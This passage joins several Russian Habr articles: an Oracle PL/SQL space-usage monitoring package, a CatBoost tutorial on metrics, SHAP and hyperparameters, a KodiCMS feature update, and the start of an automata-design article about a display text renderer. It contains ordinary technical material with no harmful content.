o_mount_dev out nocopy varchar2, -- device or ASM group
o_used_space out number, -- used space
o_free_space out number); -- free space
-- Collect space USAGE in BD
-- Recomended evry day schedule run
procedure Collect_Usage;
-- Get Forecast on space usage
-- Recomended base from 10 collects
function Get_Forecast ( pDT in date, -- date for forecast
pBASE in integer default 188, -- base days in calculate forecast
pTYPE_F in varchar2 default 'SLOPE', -- type forecast: SLOPE | AVG
pTABLESPACE in varchar2 default null, -- tablespace ( null = all )
pOWNER in varchar2 default null, -- user ( null = all )
pTYPE in varchar2 default null ) -- segment type ( null = all ), allow like
return number; -- size in bytes on date pDT
-- Get score of space usage and availability
-- Can be used in external monitoring tool : Nagios, etc
function Get_Space_Status ( pFOREDAYS in number default 60, -- days after that
pFREE_PRCNT in number default 25 ) -- free cpace greater than
return number; -- 0 - Space free enough .. 100 - not enough free space
end P_SYS_UTILITY;
```
### Метод Get\_Disk\_Usage
**p\_file\_name** — имя файла или папки для месторасположения которого(-ой) будет произведен расчет. Позволяет передавать имена относящиеся к ASM disk groups.
**o\_mount\_dev** — имя устройства в системе на которое смонтировано указанное месторасположение, определяется из вывода команды df. Для ASM будет возвращено имя disk group.
**o\_used\_space** — количество байт занятых на устройстве/diskgroup
**o\_free\_space** — количество байт доступных на устройстве/diskgroup
Осуществляет вызов df с передачей в качестве параметра имени файла, или обращение к v$asm\_diskgroup в случае если имя файла начинается на "**+**".
### Метод Collect\_Usage
Осуществляет сбор информации об использовании пространства внутри БД. Группирует по табличным пространствам, владельцам и типам сегментов. Не берет в учет сегменты типа undo и temp. Сохраняет полученную информацию в таблицу T\_SPACE\_USAGE. Рекомендуется к ежедневному выполнению.
**Структура T\_SPACE\_USAGE**
```
create table T_SPACE_USAGE (
dt$ date,
owner$ varchar2(30),
tablespace$ varchar2(30),
type$ varchar2(18),
bytes$ number,
blocks$ number);
create index INDX_T_SPACE_USAGE_DT on T_SPACE_USAGE (dt$);
comment on table T_SPACE_USAGE is 'Store archive data of usage space in RDBMS';
comment on column T_SPACE_USAGE.DT$ is 'Date collect space usage';
comment on column T_SPACE_USAGE.OWNER$ is 'Segment owner - user in BD';
comment on column T_SPACE_USAGE.TABLESPACE$ is 'Name of tablespace in BD';
comment on column T_SPACE_USAGE.TYPE$ is 'Segment type';
comment on column T_SPACE_USAGE.BYTES$ is 'Size in bytes';
comment on column T_SPACE_USAGE.BLOCKS$ is 'Size in blocks';
```
### Метод Get\_Forecast
**pDT** — дата на которую надо спрогнозировать размер
**pBASE** — количество дней, данные за которые войдут в базу по которой будет строиться прогноз
**pTYPE\_F** — способ прогнозирования — либо на основе ковариация (генеральной) совокупности, либо на основе среднего изменения
**pTABLESPACE** — табличное пространство по которому производится прогнозирование, если не передавать то по всем
**pOWNER** — владелец схемы по которому производится прогнозирование, если не передавать то по всем
**pTYPE** — тип сегментов данных по которому производится прогнозирование, если не передавать то по всем
Выполняет расчет прогнозируемого занимаемого места сегментов согласно указанным критериям. Результат в байтах.
### Метод Get\_Space\_Status
**pFOREDAYS** — количество дней для прогноза
**pFREE\_PRCNT** — процент доступного пространства (считается от прогнозируемого занятого)
Производит оценку по шкале от 0 до 100 доступного для роста БД пространства.
Также учитывает ограничения на рост файлов внутри БД.
Простой результат позволяет интегрировать вызов функции в системы мониторинга с настройкой порогов критичности.
**ps.**и да, учитываем, что выдавая права на выполнение и запись мы прокладываем брешь в безопасности. | https://habr.com/ru/post/191870/ | null | ru | null |
# Градиентный бустинг с CATBOOST (часть 3/3)
В предыдущих частях мы рассматривали задачу бинарной классификации. Если классов более чем два, то используется MultiClassification, параметру loss\_function будет присвоено значение MultiClass. Мы можем запустить обучение на нашем наборе данных, но мы получим те же самые результаты, а обучение будет идти несколько дольше:
```
from catboost import CatBoostClassifier
model = CatBoostClassifier(
iterations=150,
random_seed=43,
loss_function='MultiClass'
)
model.fit(
X_train, y_train,
cat_features=cat_features,
eval_set=(X_test, y_test),
verbose=False,
plot=True
)
```
Далее речь пойдет об Metric Evaluation. Давайте сначала обучим модель:
```
model = CatBoostClassifier(
random_seed=63,
iterations=200,
learning_rate=0.05
)
model.fit(
X_train, y_train,
cat_features=cat_features,
verbose=50
)
0: learn: 0.6353678 total: 5.08ms remaining: 1.01s
50: learn: 0.1851225 total: 480ms remaining: 1.4s
100: learn: 0.1688818 total: 1.07s remaining: 1.05s
150: learn: 0.1637798 total: 1.66s remaining: 539ms
199: learn: 0.1598385 total: 2.22s remaining: 0us
```
Часто так бывает, что забыли указать какие-то метрики при обучении модели, или после обучения хотим посчитать значения метрик на наборе данных, который не использовался ранее, в этом случае на помощь нам приходит eval\_metrics:
```
metrics = model.eval_metrics(
data= pool1,
metrics= ['Logloss', 'AUC'],
ntree_start= 0,
ntree_end= 0,
eval_period= 1,
plot=True
)
```
Здесь у нас передается модель, которую хотим использовать, затем датасет, на котором будем обучать, следующим параметром передадим список метрик, по которым будем считать, параметры из ранее рассказанного Stage Prediction и в eval\_metrics так же можно передать параметр встроенного визуализатора Catboost’a:
Посмотрим значения AUC:
```
print(f'AUC values: \n {np.array(metrics["AUC"])}')
AUC values:
[0.5007 0.5615 0.5615 0.563 0.563 0.5881 0.6033 0.6377 0.6468 0.6469
0.6464 0.6533 0.6569 0.7017 0.7122 0.7152 0.7322 0.7396 0.7542 0.7603
0.7927 0.8075 0.8346 0.8355 0.856 0.8576 0.8576 0.868 0.876 0.8812
0.8826 0.8848 0.886 0.8868 0.8885 0.8897 0.8907 0.8909 0.8913 0.8919
0.8921 0.8929 0.8941 0.8942 0.8953 0.8959 0.8968 0.8973 0.8974 0.8975
0.8975 0.8978 0.899 0.9009 0.9047 0.9074 0.9098 0.9116 0.9132 0.9144
0.916 0.9167 0.9174 0.9187 0.9195 0.92 0.9201 0.9209 0.9208 0.9218
0.9222 0.9222 0.9224 0.9226 0.9227 0.923 0.9231 0.9233 0.9234 0.9236
0.9239 0.924 0.924 0.924 0.9243 0.9243 0.9246 0.9246 0.9244 0.9245
0.9245 0.9248 0.9249 0.9249 0.925 0.9251 0.9251 0.9251 0.9251 0.9251
0.9251 0.9251 0.925 0.9253 0.9252 0.9253 0.9254 0.9255 0.9255 0.9258
0.9258 0.9258 0.9258 0.9259 0.9259 0.9259 0.9259 0.9261 0.9261 0.9262
0.9261 0.9264 0.9264 0.9265 0.9265 0.9265 0.9266 0.9267 0.9267 0.9266
0.9266 0.9266 0.9266 0.9267 0.9267 0.9268 0.9267 0.9267 0.9267 0.9267
0.9267 0.9267 0.9268 0.9269 0.9269 0.9269 0.9269 0.927 0.927 0.927
0.927 0.9271 0.9272 0.9271 0.9271 0.9271 0.9272 0.9272 0.9272 0.9272
0.9272 0.9272 0.9272 0.9273 0.9273 0.9273 0.9274 0.9274 0.9275 0.9275
0.9276 0.9276 0.9277 0.9277 0.9277 0.9277 0.9278 0.9278 0.9278 0.9278
0.9278 0.9278 0.9279 0.928 0.9281 0.9281 0.9282 0.9282 0.9282 0.9282
0.9282 0.9281 0.9281 0.9282 0.9281 0.9282 0.9282 0.9282 0.9282 0.9283]
```
Теперь про анализ модели. Вот мы обучили модель, получили некоторые предсказания и нам надо понять, а какие фичи у нас важные в нашем обучении? Для этого мы воспользуемся методом get\_feature\_importance(), он возвращается pandas DataFrame с фичами, которые важны в нашем обучении:
```
model.get_feature_importance(prettified=True)
```
Глядя на данную таблицу мы видим, что самой важной фичей является RESOURCE, к которому запросил доступ пользователь, так же важно к какому ресурсу дается доступ, какому пользователю и в каком департаменте он работает.
Иногда хочется посмотреть важность фичей не по всей выборке, а по конкретному объекту, для этого необходимо воспользоваться shap\_values, в этом случае мы получим матрицу, где число строк будет такое же как число объектов, а число столбцов будет число фичей + 1:
```
shap_values=model.get_feature_importance(pool1, fstr_type='ShapValues')
print(shap_values.shape)
(32769, 10)
```
Теперь воспользуемся библиотекой shap, чтобы визуализировать наши фичи:
```
import shap
explainer = shap.TreeExplainer(model)
shap_values=explainer.shap_values(Pool(X, y, cat_features=cat_features))
shap.initjs()
shap.force_plot(explainer.expected_value, shap_values[3,:], X.iloc[3,:])
```
Эта картинка означает, что для третьего объекта фичи MGR\_ID, ROLE\_FAMILY\_DESC, ROLE\_FAMILY и т. д., двигают наше предсказание в положительную сторону, они увеличивают вероятность того, что объекту выдадут права доступа, а RESOURCE, ROLE\_TITLE наоборот, уменьшают данную вероятность.
Посмотрим еще один пример для другого объекта:
```
import shap
shap.initjs()
shap.force_plot(explainer.expected_value,shap_values[91, :], X.iloc[91, :])
```
Здесь ситуация иная, вероятность того, что пользователю не дадут доступ намного больше, нежели он его получит, слишком много фичей склоняют предсказание к отрицательному исходу.
Сделаем то же самое не для одного объекта, как это было в предыдущих двух случаях, а сразу, допустим, для двухсот объектов из нашей выборки:
```
X_small = X.iloc[0:200]
shap_small = shap_values[:200]
shap.force_plot(explainer.expected_value, shap_small, X_small)
```
По оси X у нас расположена шкала вклада значения фичи, по оси Y — количество объектов.
Так же в Catboost есть shap.summary\_plot(), который рисует по всей выборке такую же информацию, как и в предыдущих трех случаях:
```
shap.summary_plot(shap_values, X)
```
Цветом показано значение фичи, чем краснее цвет – тем выше значение фичи, чем цвет более синий – тем меньше. Так же для каждой фичи набросаны точки, каждая точка соответствует одному объекту обучающей выборки, те точки, которые находятся правее серой черты – для них вклад от этой фичи положительный, но он не совсем большой, а которые левее, вклад большой, но не каждого из объектов обучающей выборки.
Далее рассмотрим Feature Evaluation. Часто так бывает, что мы имеем какую-то фичу и надо проверить, а хороша ли или нет, проверить можно все с помощью того же CatBoost’a. Мы обучаем модель на нескольких кусках выборки с использованием этой фичи и без нее, смотрим как изменяется Logloss.
```
from catboost.eval.catboost_evaluation import *
learn_params= {
'iterations': 250,
'learning_rate': 0.5,
'random_seed':0,
'verbose': False,
'loss_function': 'Logloss',
'boosting_type': 'Plain'
}
evaluator = CatboostEvaluation(
'amazon/train.tsv',
fold_size=10000,
fold_count=20,
column_description='amazon/train.cd',
partition_random_seed=0
)
result=evaluator.eval_features(learn_config=learn_params,
eval_metrics=['Logloss', 'Accuracy'],
features_to_eval=[1, 3, 8])
```
В learn\_params мы передаем параметры обучения модели, в evaluator мы передаем путь до выборки, размер fold’a и количество параллельных обучений с фичей и без нее, так же путь до column description. Далее мы в eval\_features, в нее передаем параметры обучения, метрики, которые хотим посмотреть и фичи, которые хотим «проэвалить».
Данный кусок кода вернет pandas DataFrame, где мы увидим строки по каждой фиче, которые передавали в список:
```
from catboost.eval.evaluation_result import *
logloss_result=result.get_metric_results('Logloss')
logloss_result.get_baseline_comparison(
ScoreConfig(ScoreType.Rel, overfit_iterations_info=False)
)
```
Decision показывает нам хорошая фича или нет, но в данном случае, одна фича хорошая, а по двум другим неизвестно, какие эти фичи. Чем меньше Pvalue, тем больше вероятность, что эта фича хорошая, в таблице это наглядно видно. Score показывает нам насколько уменьшился Logloss.
Так же в Catboost’e присутствует возможность сохранения модели, вдруг вы захотите ее скинуть другу или же вы захотите лично ей воспользоваться в будущем, происходит это следующим образом:
```
best_model = CatBoostClassifier(iterations=100)
best_model = model.fit(
X_train, y_train,
eval_set=(X_test, y_test),
cat_features=cat_features,
verbose=False
)
best_model.save_model('catboost_model.json')
best_model.save_model('catboost_model.bin')
```
Давайте теперь загрузим нашу модель:
```
best_model.load_model('catboost_model.bin')
print(best_model.get_params())
print(best_model.random_seed_)
{'iterations': 200, 'learning_rate': 0.05, 'random_seed': 63, 'loss_function': 'Logloss', 'verbose': 0}
63
```
Финишная прямая. Займемся подбором гиперпараметров.
```
from catboost import CatBoost
fast_model = CatBoostClassifier(
random_seed=63,
iterations=150,
learning_rate=0.01,
boosting_type='Plain',
bootstrap_type='Bernoulli',
subsample=0.5,
one_hot_max_size=20,
rsm=0.5,
leaf_estimation_iterations=5,
max_ctr_complexity=1
)
fast_model.fit(
X_train, y_train,
cat_features=cat_features,
verbose=False,
plot=True
)
```
Многие знают, что такое random\_seed, learning\_rate, iterations, но расскажу о других параметрах, boosting\_type – это тип бустинга, который мы будем использовать при обучении, Plain дает качество хуже, но работает быстрее, есть другой параметр — Ordered, он более затратный, но дает лучшее качество. Дальше идут в связке два параметра bootstrap\_type & subsample, bootstrap\_type – это тип сэмплирования, когда мы строим дерево, построение идет не по всем объектам обучающей выборки, а по нескольким объектам, subsample – это вероятность, по которой будет выбираться каждый объект для построения дерева. One\_hot\_max\_size – это горячее кодирование определенных переменных выборки (мы конвертируем каждое категориальное значение в новый категориальный столбец и присваиваем этим столбцам двоичное значение 1 или 0). RSM, он аналогичен subsample, только используется для фичей. Leaf\_estimation\_iterations – это количество итераций подсчета значений в листьях. Max\_ctr\_complexity – это длина перебора комбинаций фичей нашей выборки.
Такую вот кривую мы получили после запуска данного куска кода.
Далее идет Accuracy или же точность.
```
tunned_model = CatBoostClassifier(
random_seed=63,
iterations=1000,
learning_rate=0.03,
l2_leaf_reg=3,
bagging_temperature=1,
random_strength=1,
one_hot_max_size=2,
leaf_estimation_method='Newton'
)
tunned_model.fit(
X_train, y_train,
cat_features=cat_features,
verbose=False,
eval_set=(X_test, y_test),
plot=True
)
```
Leaf\_estimation\_method – это метод по которому будем подбирать значения в листьях, он более затратный, но мы получим наилучший результат. L2\_leaf\_reg – регуляризация L2, она делает так, чтобы листья в дереве не становились бесконечностью, этот параметр необходимо подбирать, чтобы получить наилучшие результаты при обучении. Random\_strength – когда мы строим дерево, мы должны посчитать Score для каждой фичи/сплита, когда мы посчитаем кучу score, нам надо будет выбрать максимальный и по этой вот фиче и сплиту с максимальным score будет происходить разбиение:
После предыдущих манипуляций мы строим новую модель:
```
best_model = CatBoostClassifier(
random_seed=63,
iterations=int(tunned_model.tree_count_ * 1.2)
)
best_model.fit(
X, y,
cat_features=cat_features,
verbose=100
)
```
Здесь количество итераций будет количество деревьев из «тюненной» модели и увеличенное на 20%, на всякий случай.
```
Learning rate set to 0.039123
0: learn: 0.6470380 total: 6.99ms remaining: 8.27s
100: learn: 0.1553510 total: 1.53s remaining: 16.4s
200: learn: 0.1472314 total: 3.52s remaining: 17.2s
300: learn: 0.1436190 total: 5.45s remaining: 16s
400: learn: 0.1405905 total: 7.34s remaining: 14.4s
500: learn: 0.1376786 total: 9.3s remaining: 12.7s
600: learn: 0.1349698 total: 11.3s remaining: 11s
700: learn: 0.1321758 total: 13.2s remaining: 9.1s
800: learn: 0.1296262 total: 15.1s remaining: 7.22s
900: learn: 0.1271447 total: 16.9s remaining: 5.34s
1000: learn: 0.1250894 total: 18.8s remaining: 3.46s
1100: learn: 0.1226409 total: 20.7s remaining: 1.58s
1184: learn: 0.1206717 total: 22.3s remaining: 0us
```
Делаем предсказания, здесь мы выкидываем колонку с id, мы ее не использовали никак при обучении. Далее в Pool мы закидываем фичи, таргет не передаем, мы их не знаем, далее закидываем индексы фичей, предсказываем вероятности и в последней ячейке мы записываем и сохраняем результаты предсказаний в csv файл:
```
X_test = test_df.drop('id', axis=1)
test_pool = Pool(X_test, cat_features=cat_features)
predictions=best_model.predict_proba(test_pool)
print(f"Predictions: {predictions}")
Predictions: [[0.3923 0.6077]
[0.0155 0.9845]
[0.0098 0.9902]
...
[0.0053 0.9947]
[0.0492 0.9508]
[0.0143 0.9857]]
```
Сохранение результатов предсказаний модели:
```
file = open('outro.csv', 'w')
file.write('Id, Action\n')
for index in range(len(predictions)):
line = str(test_df['id'][index])+';'+str(predictions[index][1])+'\n'
file.write(line)
file.close()
```
В заключение хочется отметить плюсы данной библиотеки:
1. Обучение моделей на CPU/GPU.
2. Библиотека имеет открытую документацию.
3. Multilable Classification.
4. Распределенное обучение.
5. Поддержка языка R (возможно, что кто-то это сочтет за незначительный плюс). | https://habr.com/ru/post/648939/ | null | ru | null |
# Развитие KodiCMS
Всем привет. С момента написания последней статьи в системе произошло много изменений, о которых хотелось бы рассказать.
К сожалению, в статье минимум технической информации, но все равно данная статья важна для понимания, что система не стоит на месте и возможно поможет кому то проявить интерес к ней и желание принять участие в разработке.
##### **Рабочий стол (Dashboard)**
Одно из значимых изменений это уход на рабочем столе от jQuery UI в пользу [Gridster](http://gridster.net/), который позволил сделать рабочий стол более информативным и компактным. Теперь можно изменять размеры виджетов и размещать их в таком порядке, который удобен именно вам.
[](http://habrastorage.org/files/8eb/975/222/8eb97522249b4d45b9ffa709050e79e0.png)
*Как обычно посмотреть на новый рабочий стол можно на [демо сайте](http://demo.kodicms.ru/backend).*
**Новые виджеты**
* Активность пользователя
* Профайлер
* Погода
* Yandex metrika (*beta, в виде отдельного плагина*)
> Также улучшилось API по созданию собственных виджетов, оно стало проще и функциональней. Для каждого виджета есть возможность указать ограничения по размеру, размер по умолчанию, а также в будущем планируется авто обновление данных.
##### **Плагины скелеты для разработки собственных модулей**
Основная проблема KodiCMS — недостаток документации, которая могла бы помочь пользователям создавать собственные модули или расширять функциональность существующих модулей, поэтому в качестве первого шага были созданы плагины — скелеты, в которых собраны основные файлы конфигурации с описанием, а также основные классы, которые помогут в разработке.
* [Skeleton](https://github.com/butschster/kodicms/tree/dev/cms/plugins/skeleton) — плагин в котором собранны необходимые файлы, которые могут помочь в разработке
* [Widget Skeleton](https://github.com/butschster/kodicms/tree/dev/cms/plugins/skeleton_widget) — необходимые файлы для создания виджета
* [Dashboard widget sekeleton](https://github.com/butschster/kodicms/tree/dev/cms/plugins/skeleton_dashboard_widget) — необходимые файлы для создания виджета для рабочего стола
В будущем я планирую расширить данный список, в который войдут:
* скелет для создания собственных типов полей для раздела «Гибридные данные»
* скелет для создания нового раздела (Datasource)
* скелет для создания типа страницы (Behavior)
* скелет для подключения WYSIWYG редактора
##### **Новый WYSIWYG редактор по умолчанию**
Ранее в комплект KodiCMS входил только плагин с редактором текста RedactorJS, теперь в систему добавлен [ckEditor](http://ckeditor.com/), который используется в качестве редактора по умолчанию. В будущем планируется более тесная интеграция с системой, подключение файлового менеджера, загрузка картинок и т.д.
Также добавлена возможность выбрать цветовую схему для редактора кода Ace
> В системе есть возможность подключения любого стороннего редактора без затрагивания кода ядра системы.
##### **Раздел «Гибридные данные»**
> В KodiCMS есть плагин «Гибридные данные», который очень похож на раздел «Ифнормационные блоки» от Битрикс, но имеет свои преимущества и недостатки.
В данном разделе появился поиск по документам, а также добавлена возможность для каждого раздела в админ панели назначать иконку и группировать разделы по папкам, а также выносить раздел в корень меню.
[](http://habrastorage.org/files/619/a88/953/619a889533b1429baebc91a850927b0f.png)
##### **Раздел страницы**
При редактировании meta информации страницы сайта теперь можно сразу видеть скомпилированные заголовки
Также по работе с полями страницы была написана небольшая статья в [разделе Wiki на Github](https://github.com/butschster/kodicms/wiki/%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0-%D1%81-%D0%BC%D0%B5%D1%82%D0%B0-%D1%82%D0%B5%D0%B3%D0%B0%D0%BC%D0%B8-%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86)
Для виджета «Меню» добавлена возможность привязки других виджетов к страницам. Данный функционал может пригодиться, если в меню необходимо вывести данные, которые не содержаться в разделе страницы.
##### **Модуль «Части страницы»**
В данном модуле был переработан дизайн блоков, а также добавлена возможность изменять порядок их вывода.
##### **Модуль «Поиск»**
Потихоньку в систему встраивается Sphinx search, для поиска по разделам сайта, а также в тестовом режиме генерируется конфиг для созданных разделов «Гибридные данные».
##### **elFinder**
Возможность подключения собственных каталогов в файловый менеджер системы.
[Пример конфиг файла](https://github.com/butschster/kodicms/blob/dev/cms/plugins/skeleton/config/elfinder.php)
##### **Обновления ядра Kohana и сторонних библиотек**
Да да, такое тоже возможно, как это не парадоксально, но для Kohana вышло обновление версии 3.3.3.1, в котором к сожалению мало изменений, но все же я слежу за обновлением модулей и библиотек используемых системой и по возможности обновляю.
##### **Новые статьи в Wiki**
* [Работа с мета тегами страниц](https://github.com/butschster/kodicms/wiki/%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0-%D1%81-%D0%BC%D0%B5%D1%82%D0%B0-%D1%82%D0%B5%D0%B3%D0%B0%D0%BC%D0%B8-%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86)
* [Referral links](https://github.com/butschster/kodicms/wiki/Referral-links)
* [Создание виджета](https://github.com/butschster/kodicms/wiki/Widget)
Планы на будущее
----------------
В связи с тем, что Kohana фреймворк прекратил свое развитие и для многих это является важным критерием, то есть мысли о том, чтобы мигрировать на другой фреймворк, например, близкий по архитектуре — Laravel, но пока это только мысли, которые все чаще посещают меня. Если миграция не произойдет, то приведение кода, названия файлов и т.д. к стандартам.
Для многих главным критерием в выборе CMS является наличие модуля интернет-магазина и также есть мысли о создании такого модуля.
В данной статье я выделил основные изменения, которые можно увидеть визуально, но помимо них есть еще множество улучшений в коде системы.
**Небольшое отступление**Одной из главных особенностей системы является модульность и расширение при помощи плагинов. Для меня процесс разработки нового сайта начинается с создания плагина, в котором я могу один раз инициализировать новые пакеты js, css библиотек и в последствии подключать их по названию пакета.
```
//init.php
Assets_Package::add('fancybox')
->css(NULL, ADMIN_RESOURCES . 'libs/fancybox/jquery.fancybox.css', 'jquery')
->js(NULL, ADMIN_RESOURCES . 'libs/fancybox/jquery.fancybox.pack.js', 'jquery');
```
в виджете
или в шаблоне сайта.
```
...
php echo Meta::factory($page)
-add(array('name' => 'author', 'content' => 'KodiCMS'))
->package(array('jquery', 'fancybox'', 'fontawesome'));
?>
...
```
Также в плагине можно хранить все шаблоны и сниппеты сайта и они будут видны в системе также как и шаблоны в корне.
В плагине можно настроить конфиг подключения дополнительной папки в файловый менеджер
```
//elfinder.php
return array(
'volumes' => array(
'skeleton_public' => array(
'driver' => elFinder_Connector::FILE_SYSTEM, // driver for accessing file system (REQUIRED)
'path' => substr(PLUGIN_SKELETON_PATH, 0, -1), // path to files (REQUIRED)
'URL' => PLUGIN_SKELETON_URL, // URL to files (REQUIRED),
'alias' => __('Skeleton public'),
'uploadMaxSize' => '10M',
'mimeDetect' => 'internal',
'imgLib' => 'gd',
)
)
);
```
или дополнить существующий тип страницы новымы роутами, которые помогут в создании ссылок, например для фильтрации данных.
```
//behaviors.php
return array(
'hybrid_docs' => array(
'routes' => array(
'/tag/' => array(
'regex' => array(
'tag' => '.\*'
),
'method' => 'stub'
)
)
),
);
```
[](http://habrastorage.org/files/7b8/6a1/c42/7b86a1c4278945b3b665de525ee1ee73.png) 
##### И как обычно:
###### **Демо сайт:**
[demo.kodicms.ru](http://demo.kodicms.ru)
###### **Админ панель:**
[demo.kodicms.ru/backend](http://demo.kodicms.ru/backend)
Спасибо за внимание!
P.S. К сожалению, статьи даются мне очень тяжело и найти человека, который помог бы с их написанием очень тяжело, поэтому публикации выходят не так часто, как мне хотелось бы, но в группе [Вконтакте](http://vk.com/kodicms) или [Facebook](https://www.facebook.com/kodicms) я стараюсь освещать наиболее значимые изменения. | https://habr.com/ru/post/248937/ | null | ru | null |
# Автоматный практикум — 1. Пример «Дисплей», разработка ОА и УА
*[Тесты в предыдущей статье](https://habrahabr.ru/post/341888/) убедительно показали высокую эффективность «автоматной» реализации примера «Дисплей» по сравнению с условно названной «неавтоматной» версией. Вкратце итог: обе реализации автоматные, но разница в эффективности многократна и глубинная причина видится в том, что вариант А1 («автоматный») изначально проектировался как автомат, а вариант А2 («неавтоматный») нет. Не столько автоматная реализация, сколько автоматное проектирование является основой высокой эффективности. Для простых алгоритмов автоматные реализации получаются сами собой. Есть смысл говорить о том, что автоматное программирование, это не столько реализация программы в виде конечного автомата, сколько автоматное **проектирование**, фундаментом которого является конструктивная декомпозиция. Я несколько раз касался темы автоматного проектирования и конструктивной декомпозиции, но чтобы раскрыть эту тему нужны практические примеры. В этой и следующих нескольких статьях я проведу практикум, покажу процесс автоматного проектирования, пытаясь по возможности приводить ход рассуждений присущих автоматному проектированию.*
[Оглавление](https://habrahabr.ru/post/331556/#Content)
[Предыдущая статья](https://habrahabr.ru/post/341888/)
[В статье 1](https://habrahabr.ru/post/331556/) обзорно рассматривалось внутреннее строение примера «Дисплей» (лабораторной версии). Сегодняшняя статья описывает процесс автоматной разработки рабочего варианта, делая акцент на том, как производился выбор тех или иных технических решений. Я не стану повторять содержимое упомянутой статьи, ограничившись кратко постановкой задачи.
Постановка задачи
-----------------
Имеется ч/б графический дисплей. Его видеопамять имеет стандартную побайтную организацию, в которой каждый бит представляет один пиксель. Вывод данных идёт потоковым побайтным заполнением видеопамяти дисплея через параллельный интерфейс или SPI по протоколу типа:
* послать команду **Записать\_байт (координаты\_байта\_на\_дисплее)**
* получить подтверждение, после которого можно передавать информацию
* данные предаются сплошным потоком байтов, последовательно, строка за строкой заполняя видеопамять
Вывод текста необходимо осуществлять разными, не моноширинными шрифтами.
*а)*
*б)*
*в)*
*Рисунок 1. Требования к модулю вывода на дисплей*
Все символы в шрифте одной высоты, но шрифт может быть поменян «на лету», в процессе вывода одной и той же строки. Аналогично могут быть поменяны атрибуты – жирный, курсив, подчёркивание. Для управления параметрами используются [esc-последовательности](https://ru.wikipedia.org/wiki/%D0%A3%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D1%8F%D1%8E%D1%89%D0%B8%D0%B5_%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D0%B8_ANSI), к которым относится управляющий символ '\n', перевод строки, т.е. текст одной строки может быть выведен на несколько строк на дисплее. Например текст:
```
"Text 1 \033[7m Text 2 \033[27m \033[1m Text 3 \033[21m \n Text 42"
```
будет отображаться так, как это показано на иллюстрации рис.1 (б)
Текст выводится в область, ограниченную прямоугольником рис.1 (в), и может иметь смещение **`x_shift`**, **`y_shift`**. Координаты области вывода задаются в пикселях, координаты могут быть отрицательными, что означает выход за пределы области вывода. Текст, выходящий за границы области вывода, отсекается, рис.1 (в).
Пользовательский интерфейс — функция с прототипом
```
void Out_text(int x0, int y0, int x1, int y1, int x_shift, int y_shift, char * Text);
```
Начало разработки, получение требований к автомату вывода текстовых блоков
--------------------------------------------------------------------------
Составление автомата начинается с декомпозиции на *операционный* и *управляющий* и может повторяться рекурсивно — на каждом этапе ОА может быть разбит на пару ОА*нижнего\_уровня* и его УА.
*Рисунок 2. Рекурсивная декомпозиция автомата на операционный и управляющий*
Декомпозиция должна быть естественной для решаемой задачи, а для этого нужно попытаться изобразить задачу наглядно, то есть *взглянуть на задачу предметно*. Часто грамотное изображение процесса, который требуется осуществить, равносильно получению решения задачи в общем виде, это чуть ли не половина успеха при выборе ОА.
Поясню о чём я. Как следует из условия задачи, исходная последовательность символов в общем случае выглядит как: **Текст1** *упр1* **Текст2** *упр2* **Текст3** *упр3* **Текст4** *упр4* **Текст5** *\0*
где *упрN* управляющие esc-последовательности, символы перевода строки, табуляции.
Не требуется никаких дополнительных усилий чтобы увидеть в этой схеме, что есть монолитные текстовые блоки, разделённые управляющими последовательностями. Следовательно, общая задача делится на этап разбиения исходной последовательности на блоки и вывод этих блоков.
*Рисунок 3. Первоначальное разбиение*
Это самый простой случай, такое разбиение исходной задачи напрашивалось само собой, в других случаях это бывает не так очевидно, поэтому в цикле «Практикум» я буду обращать внимание на предметный взгляд на исходную задачу, давая советы на примерах.
Важное место занимает коммуникация между частями, если её можно сделать такой, что переделка одного из уровней не будет сказываться на других уровнях, это будет огромный плюс. Каждый текстовый блок характеризуется координатами текстового блока **`x_block, y_block`** (относительно окна вывода). Поскольку шрифт и атрибуты (инверсный или нет, мигающий, жирный, курсив, подчёркивание и так далее) могут оставаться неизменными, не стоит снабжать каждый текстовый блок лишней информацией, но сделать отдельный канал (метод *автомата вывода текстовых блоков*) управления атрибутами. Такая схема разбиения и такая коммуникация между частями позволяет реализовать ОА *автомата вывода текстовых блоков* наиболее удобным образом, не касаясь остальных частей, что и было продемонстрировано: и для схемы ОА «А1» и для схемы ОА «А2» общая схема разбиения остаётся одна и та же.
Таким образом, требования к *автомату вывода текстовых блоков* следующие.
Автомат вывода текстовых блоков
-------------------------------
Требования к автомату вывода текстовых блоков можно изобразить графически.
*Рисунок 4. Требования к автомату вывода текстовых блоков*
Каждый из текстовых блоков уже не содержит внутри себя управляющих последовательностей и отображается с неизменными атрибутами с позиции `**x\_block, y\_block**` и до конца блока или до конца экрана. Значения `**x\_shift, y\_shift**` влияют на расположение всей группы блоков и при отображении отдельного блока уже cкомпенсированы в значении `**x\_block, y\_block**`. Верхний правый угол текстового блока отсчитывается относительно верхнего правого угла окна вывода, высота равняется высоте шрифта, а ширина равна ширине текста или окна вывода, если текст не помещается целиком.
Автоматное проектирование как процесс
-------------------------------------
Показанная на рис. 2 рекурсивность декомпозиции не продолжается бесконечно, в нашем случае это два уровня разбиения. Для многих задач будет та же пара уровней, а то и один. Большая многоступенчатость характерна не для модулей, а для систем.
После этого происходит детальная проработка неделимой пары ОА+УА, пары нижнего уровня и её программная реализация, которая происходят *снизу вверх*, от ОА к УА. Это продиктовано тем, что обычно самый нижний уровень непосредственно завязан на исполнительные механизмы, что ставит нас в определённые рамки и ограничивает возможность «манёвра» и одновременно определяет степень эффективности, в то время как более высокие уровни являются в этом отношении более гибкими, и рамки для них вытекают из реализации нижележащих автоматов. Упомянутые «рамки», бывает, нащупываются уже в процессе разработки, а во время первоначального анализа и разбиения они скрыты «туманом войны». Это иллюстрирует важность коммуникаций между частями, о которой я говорил выше, которые играют роль «водонепроницаемых переборок», позволяя ограничиваться изменением только отдельно взятых модулей, а не всего стека автоматов.
Процесс автоматной разработки неделимой пары ОА+УА итерационный:
Рисунок 5. Итерационный процесс при автоматной разработке
